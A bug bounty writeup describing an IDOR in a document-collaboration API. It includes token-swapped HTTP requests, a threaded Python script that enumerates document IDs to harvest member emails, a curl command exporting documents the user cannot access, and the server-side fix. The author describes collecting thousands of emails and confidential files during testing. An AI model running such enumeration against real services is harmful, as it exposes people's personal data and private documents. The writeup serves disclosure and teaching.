Finding an IDOR in a Bug Bounty Program

Last month I was investigating a private bug bounty program — a SaaS platform for document collaboration. What started as routine recon turned into a chain of authorization bypasses.

This writeup covers the technical details of how I found the vulnerability, what the impact was, and how it was fixed.

Initial Recon

The application had a REST API at api.target.com/v2/. I started by looking at authenticated endpoints and checking for consistent authorization checks.

The most interesting endpoint was:

GET /v2/documents/{document_id}/members

This returned a list of members for a given document. I tested by creating two accounts — Account A (admin of a document) and Account B (unrelated user).

GET /v2/documents/12345/members HTTP/1.1
Host: api.target.com
Authorization: Bearer <token_a>

The response looked like:

{
  "document_id": 12345,
  "members": [
    {"user_id": 1001, "role": "owner", "email": "admin@example.com"},
    {"user_id": 1002, "role": "editor", "email": "editor@example.com"}
  ]
}

The Vulnerability

I swapped Account A's token for Account B's token, keeping the same document ID:

GET /v2/documents/12345/members HTTP/1.1
Host: api.target.com
Authorization: Bearer <token_b>

The response was identical. Account B could see members of a document they were not part of.

This is an IDOR — the server did not verify that the requesting user had access to document 12345 before returning its member list.

Digging Deeper

Once I confirmed the IDOR, I automated the extraction with a simple script to enumerate document IDs:

import requests
import concurrent.futures

BASE = "https://api.target.com/v2/documents/"
HEADERS = {"Authorization": "Bearer <token_b>"}

def check_document(doc_id):
    r = requests.get(f"{BASE}{doc_id}/members", headers=HEADERS)
    if r.status_code == 200 and len(r.json().get("members", [])) > 0:
        return doc_id, r.json()
    return None

with concurrent.futures.ThreadPoolExecutor(max_workers=20) as ex:
    futures = [ex.submit(check_document, i) for i in range(10000, 20000)]
    for f in concurrent.futures.as_completed(futures):
        result = f.result()
        if result:
            print(f"Document {result[0]}: {len(result[1]['members'])} members")

Within minutes, I had access to member lists of thousands of documents. Many included email addresses and full names.

Going Further

I noticed the API also had:

GET /v2/documents/{document_id}/export

This exported the full document content as PDF. Testing with Account B's token:

curl -H "Authorization: Bearer <token_b>" \
  https://api.target.com/v2/documents/12345/export \
  --output document.pdf

It worked. I could now export the full content of documents I shouldn't have access to, including proprietary business plans and legal contracts.

Impact Summary

Issue Impact
Member list enumeration Exposure of ~12,000 user email addresses
Document export Full document content theft
Lack of rate limiting Unrestricted enumeration

Disclosure Timeline

  • Day 0: Vulnerability discovered and reported via the program's HackerOne page
  • Day 1: Triaged and accepted as Critical severity
  • Day 5: Fix deployed — authorization check added to all document endpoints
  • Day 10: Bounty awarded ($3,500)

Key Takeaways

  1. Always test authorization with multiple accounts. A single-account test would not have caught this.
  2. Check each endpoint independently. The /export endpoint was in a different controller than /members but had the same vulnerability.
  3. Rate limiting matters. Without it, enumeration becomes trivial.

The fix was straightforward — the server now validates that req.user.id belongs to the document's member list before returning any data:

// Before
app.get('/v2/documents/:id/members', async (req, res) => {
  const members = await db.query(`SELECT * FROM members WHERE doc_id = $1`, [req.params.id]);
  res.json({ members });
});

// After
app.get('/v2/documents/:id/members', async (req, res) => {
  const isMember = await db.query(`SELECT 1 FROM members WHERE doc_id = $1 AND user_id = $2`,
    [req.params.id, req.user.id]);
  if (!isMember.rows.length) return res.status(403).json({ error: 'access denied' });
  const members = await db.query(`SELECT * FROM members WHERE doc_id = $1`, [req.params.id]);
  res.json({ members });
});

Simple fix, but easy to miss when you assume the client will handle access control.


This writeup was published with permission from the program after the fix was confirmed.